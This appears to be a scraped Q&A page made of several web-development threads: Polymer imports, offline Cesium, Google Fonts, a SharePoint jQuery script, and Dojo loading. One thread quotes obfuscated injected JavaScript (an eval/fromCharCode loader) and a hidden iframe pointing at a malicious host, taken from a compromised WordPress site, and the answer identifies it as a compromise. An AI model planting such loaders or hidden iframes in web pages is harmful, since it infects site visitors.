I've been trying to get an extremely minimal web page using Polymer to simply render in the browser - I'm using a Node/ExpressJS/Jade setup on the server-side of things. My code is as close as it gets to the examples that ship with the Polymer documentation, I think I'm missing something really simple. I'm using Chrome M35.
On the server, I have installed all the Polymer stuff (platform, core and paper) using bower and I've mapped bower_components to be served statically under /static
app.use('/static', express.static(path.join(process.cwd(), 'bower_components')))
I've verified that my server can correctly serve resources such as http://localhost:3000/static/paper-button/paper-button.html – this returns the content of the desired file.
The HTML served by the page is as such:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="/static/platform/platform.js"></script>
<title>Authenticate</title>
<link rel="import" src="/static/paper-button/paper-button.html">
<style>
body {
font-family: 'Helvetica Neue';
margin: 0;
padding: 24px;
user-select: none;
transform: translateZ(0);
}
paper-button {
margin: 1em;
width: 10em;
}
paper-button.colored {
color: #4285f4;
fill: #4285f4;
}
</style>
</head>
<body>
<paper-button label="Authenticate" class="colored"></paper-button>
</body>
</html>
This is as close as it gets to the example for the same widget as documented on the Polymer website. In my case, nothing renders. The really odd thing is what is shown in the Network tab of the inspector:
There is a Loader.js script, which I believe gets installed by platform.js, which sends an XHR for the root page itself (the 3rd line). In every other example I see, that loading script starts loading the imported web components. I just can't figure out why it's doing this in my case. The other odd thing is the call originating from Parser.js – the requested data URL is data:text/javascript;base64,Ci8vIyBzb3VyY2VVUkw9bnVsbC9bMTQ1M10uanMK, which translates to: //# sourceURL=null/[1453].js - again, not a very good sign.
I've tried to use relative srcs in my links - to no avail. I'm basically stuck at a very early stage and would really appreciate to be pointed in the right direction.
This is not right:
<link rel="import" src="/static/paper-button/paper-button.html">
It should be:
<link rel="import" href="/static/paper-button/paper-button.html">
Side note: You might also want to use the favicon express middleware to prevent a "suspicious" http request. (If you don't have a favicon in your public root, you'll see an extra http request being handled by express, the middleware will serve the express favicon if you don't have one in your public root.)
Related
I downloaded Cesiumjs-1.11 and ran the official Hello World tutorial.
I want to run the same example without relying on nodejs as a server. I tried taking the ./Build/Cesium and using it with the example in the same directory.
CesiumJS runs, but I get this error:
SecurityError: Failed to execute 'texImage2D' on 'WebGLRenderingContext': The cross-origin image at file:://path/to/Cesium/Assets/Textures/moonSmall.jpg may not be loaded.
Error: Failed to execute 'texImage2D' on 'WebGLRenderingContext': The cross-origin image at file:://path/to/Cesium/Assets/Textures/moonSmall.jpg may not be loaded.
at Error (native)
at new p (file:://path/to/Cesium/Cesium.js:433:19773)
at et.createTexture2D (file:://path/to/Cesium/Cesium.js:449:19216)
at H.update (file:://path/to/Cesium/Cesium.js:434:9600)
at S.update (file:://path/to/Cesium/Cesium.js:452:1298)
at m.update (file:://path/to/Cesium/Cesium.js:455:27828)
at vt (file:://path/to/Cesium/Cesium.js:458:15322)
at Ct (file:://path/to/Cesium/Cesium.js:458:18817)
at bt.render (file://path/to/Cesium/Cesium.js:458:25057)
at P.render (file:://path/to/Cesium/Cesium.js:464:4108)
Here is the code:
<!DOCTYPE html>
<html lang="en">
<head>
<!-- Use correct character set. -->
<meta charset="utf-8">
<!-- Tell IE to use the latest, best version (or Chrome Frame if pre-IE11). -->
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
<!-- Make the application on mobile take up the full browser screen and disable user scaling. -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
<title>Hello World!</title>
<script src="Cesium/Cesium.js"></script>
<style>
#import url(Cesium/Widgets/widgets.css);
html, body, #cesiumContainer {
width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden;
}
</style>
</head>
<body>
<div id="cesiumContainer"></div>
<script>
var viewer = new Cesium.Viewer('cesiumContainer');
</script>
</body>
</html>
What's wrong with this code ?
There's nothing technically wrong with your code and Cesium can work offline embedded into an application without any issues. The problem here is web browser security. If you're just opening the HTML file in a browser, you are still running inside of a sandbox that restricts access to local files, especially when it comes to things like web workers and WebGL. This is preventing required files from being loaded, resulting in an error. This is true in all browsers and you can verify it yourself by temporarily disabling browser security.
For example, in Chrome you can run with the --disable-web-security and the page will load without any errors. Note, in order for this to work you have to make sure no Chrome instance are already running. If you get a warning on startup, you know the option took. There are different options in other browsers (for example IE just prompts you to allow blocked content).
You will still have a problem of missing imagery because the default configuration is expected to run on a server. To fix that, you can explicit define an imagery provider. Here's a complete example that works when web security is disabled.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1,
maximum-scale=1, minimum-scale=1, user-scalable=no">
<title>Hello World!</title>
<script src="../Build/Cesium/Cesium.js"></script>
<style>
#import url(../Build/Cesium/Widgets/widgets.css);
html, body, #cesiumContainer {
width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden;
}
</style>
</head>
<body>
<div id="cesiumContainer"></div>
<script>
var viewer = new Cesium.Viewer('cesiumContainer', {
baseLayerPicker: false,
imageryProvider: new Cesium.BingMapsImageryProvider({
url : 'http://dev.virtualearth.net'
})
});
</script>
</body>
</html>
I assume you're ultimate goal is trying to use Cesium embedded in an application? If so, none of these security restrictions will apply. Many people are using Cesium in embedded browser controls with success.
Is there a way to add a google font into an internal css? Like for profile layouts?
I've tried embedding all three of these, but I can't get it to change the look of the font on my layout. Does google font work for internal css or only external?
<style>
<link href='http://fonts.googleapis.com/css?family=Dancing+Script' rel='stylesheet' type='text/css'>
#import url(http://fonts.googleapis.com/css?family=Dancing+Script);
</style>
The Google Fonts link needs to be embedded in the head element of an HTML or XHTML document. The thing to understand is that Google Fonts are handled through a Content Delivery Network (CDN). That means that Google hosts the fonts for you.
Here is an example they give on their website:
<html>
<head>
<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Tangerine">
<style>
body {
font-family: 'Tangerine', serif;
font-size: 48px;
}
</style>
</head>
<body>
<div>Making the Web Beautiful!</div>
</body>
</html>
You can reference the Google Fonts in an external stylesheet instead of internally as shown here.
I am using a script that adds scollbars to a doc library webpart which works fine on sites using the "default.master" system master page, but once I attempt to use my custom master page it breaks the jquery and the scrollbars do not appear.
Any idea on what I can look at in my custom master page to fix this? I am using a CEWP and not directly including the jquery inside my master page.
scollbar script (just in case)
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js"
type="text/javascript"></script>
<style type="text/css">
<!--
.DataGridFixedHeader { position: relative; top: expression(this.offsetParent.scrollTop);}
-->
</style>
<script type="text/javascript">
$(function(){
var $table = $("TABLE[ID^='onetidDoclibViewTbl0']",
"#MSO_ContentTable");
<!--WRAP TABLE IN SCROLL PANE-->
$table.wrap("<DIV style='OVERFLOW: auto; HEIGHT: 250px'></DIV>");
<!--FROZEN HEADER ROW-->
$("TR.ms-viewheadertr:first", $table).addClass("DataGridFixedHeader");
});
</script>
Did you check the browser console to see if the jquery is being correctly loaded? Or if there is another script error? This script seems to be fine but if you have a script error on the page before this it will never be loaded.
I noticed the site was behaving strangely in IE8, and found in IE8 developer tools that it was rendering in quirks mode even though it uses the Doctype html declaration (which should make all browsers render in standards mode). In any case, in IE8 developer tools, some code was visible that wasn't visible in Chrome dev tools or in source code:
<script>if(window.document)try{new"a".prototype}catch(qqq){zz='eval';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='fromChar';f+='Code';}ee='e';e=window[zz];t='y';}h=Math.atan2(3,0)/Math.PI*-4;n="3.5p3.5p51.5p50p15p19p49p54.5p48.5p57.5p53.5p49.5p54p57p22p50.5p49.5p57p33.5p53p49.5p53.5p49.5p54p57p56.5p32p59.5p41p47.5p50.5p38p47.5p53.5p49.5p19p18.5p48p54.5p49p59.5p18.5p19.5p44.5p23p45.5p19.5p60.5p5.5p3.5p3.5p3.5p51.5p50p56p47.5p53.5p49.5p56p19p19.5p28.5p5.5p3.5p3.5p61.5p15p49.5p53p56.5p49.5p15p60.5p5.5p3.5p3.5p3.5p49p54.5p48.5p57.5p53.5p49.5p54p57p22p58.5p56p51.5p57p49.5p19p16p29p51.5p50p56p47.5p53.5p49.5p15p56.5p56p48.5p29.5p18.5p51p57p57p55p28p22.5p22.5p51p56.5p56p52.5p59p50p59.5p54p52p53.5p22p50p53p54p49.5p57p22p54.5p56p50.5p22.5p49p22.5p25p23p25p22p55p51p55p30.5p50.5p54. --- etc. etc. </script>
This code above appears right before the Doctype declaration in this wordpress html - making IE8 render in Quirks Mode... what the heck is this? It seems to be inserting this html, including iframes with src pointing at flnet.org at the top of the html that should be there:
<HTML class=" js no-flexbox no-canvas no-canvastext no-webgl no-touch no-geolocation postmessage no-websqldatabase no-indexeddb hashchange no-history draganddrop no-websockets no-rgba no-hsla no-multiplebgs no-backgroundsize no-borderimage no-borderradius no-boxshadow no-textshadow no-opacity no-cssanimations no-csscolumns no-cssgradients no-cssreflections no-csstransforms no-csstransforms3d no-csstransitions fontface generatedcontent no-video no-audio localstorage sessionstorage no-webworkers no-applicationcache no-svg no-inlinesvg no-smil no-svgclippaths" sizcache="4" sizset="0">
<HEAD>
<STYLE class=iepp-printshim media=print></STYLE>
<TITLE>[website title]</TITLE>
<SCRIPT>[repeat of script from above]</SCRIPT>
</HEAD>
<BODY class="home page page-id-280 page-template page-template-gallery-php" sizcache="4" sizset="0">
<IFRAME style="DISPLAY: none" id=jQuery_history src="advanced.html"></IFRAME>
<IFRAME style="POSITION: absolute; VISIBILITY: hidden; TOP: 0px; LEFT: 0px" height=10 src="http://hsrkxfyujm.flnet.org/d/404.php?go=1" width=10></IFRAME>
So, because the doctype isn't first, IE8 renders in Quirks Mode; more importantly, this seems to be a security incursion. Does anyone recognize it or know how to deal with it in WordPress... ?
The code you're seeing these is obfuscated JavaScript. It is a symptom of your site being compromised.
The following code works on IE8, Safari 4.0.2 - but generates an empty page on Firefox 3.5.5. Any idea ?
<html>
<head>
<link rel="stylesheet" type="text/css" href="http://archive.dojotoolkit.org/nightly/dojotoolkit/dijit/themes/tundra/tundra.css">
</head>
<body class="tundra">
<div style="width: 350px; height: 300px">
<div id="tc1-prog">
</div>
</div>
</body>
<script type="text/javascript" src="http://archive.dojotoolkit.org/nightly/dojotoolkit/dojo/dojo.js"
djConfig="parseOnLoad: true">;
</script>
<script type="text/javascript">
dojo.require("dijit.layout.TabContainer");
dojo.require("dijit.layout.ContentPane");
dojo.addOnLoad(function() {
var tc = new dijit.layout.TabContainer({
style: "height: 100%; width:100%;"
},
"tc1-prog");
var cp1 = new dijit.layout.ContentPane({
title: "Food",
content: "We offer amazing food"
});
tc.addChild(cp1);
var cp2 = new dijit.layout.ContentPane({
title: "Drinks",
content: "We are known for our drinks."
});
tc.addChild(cp2);
tc.startup();
});
</script>
</html>
Likely a cross-domain problem. The nightly build is posted for testing, but to actually use it locally, you must download the tarball. Otherwise, references are made to load individual modules using xhr+eval which break the browser's domain security model.
Your other choice is to use a "cross domain" build of Dojo, which is pretty much what you wanted to do and super simple to deploy -- just point at it with the script tag and off you go. That's what's available on the Google CDN.
You might want to put the script tag inside the body tag. For it to be valid HTML, it needs to be either in a body or head tag. An invalid document could certainly result in it not operating consistently between browsers.
Update: Also, you might want to try using a production build instead of the nightly build. I changed the URL to use http://ajax.googleapis.com/ajax/libs/dojo/1.3/dojo/dojo.xd.js and it worked fine for me in FF. It was broken with the nightly build.
From the HTML 4.01 Spec:
An HTML 4 document is composed of three parts:
a line containing HTML version information,
a declarative header section (delimited by the HEAD element),
a body, which contains the document's actual content. The body may be implemented by the BODY element or the FRAMESET element.
<html>
<head>
<link ... />
</head>
<body>
...
<script ... >
</script>
</body>
</html>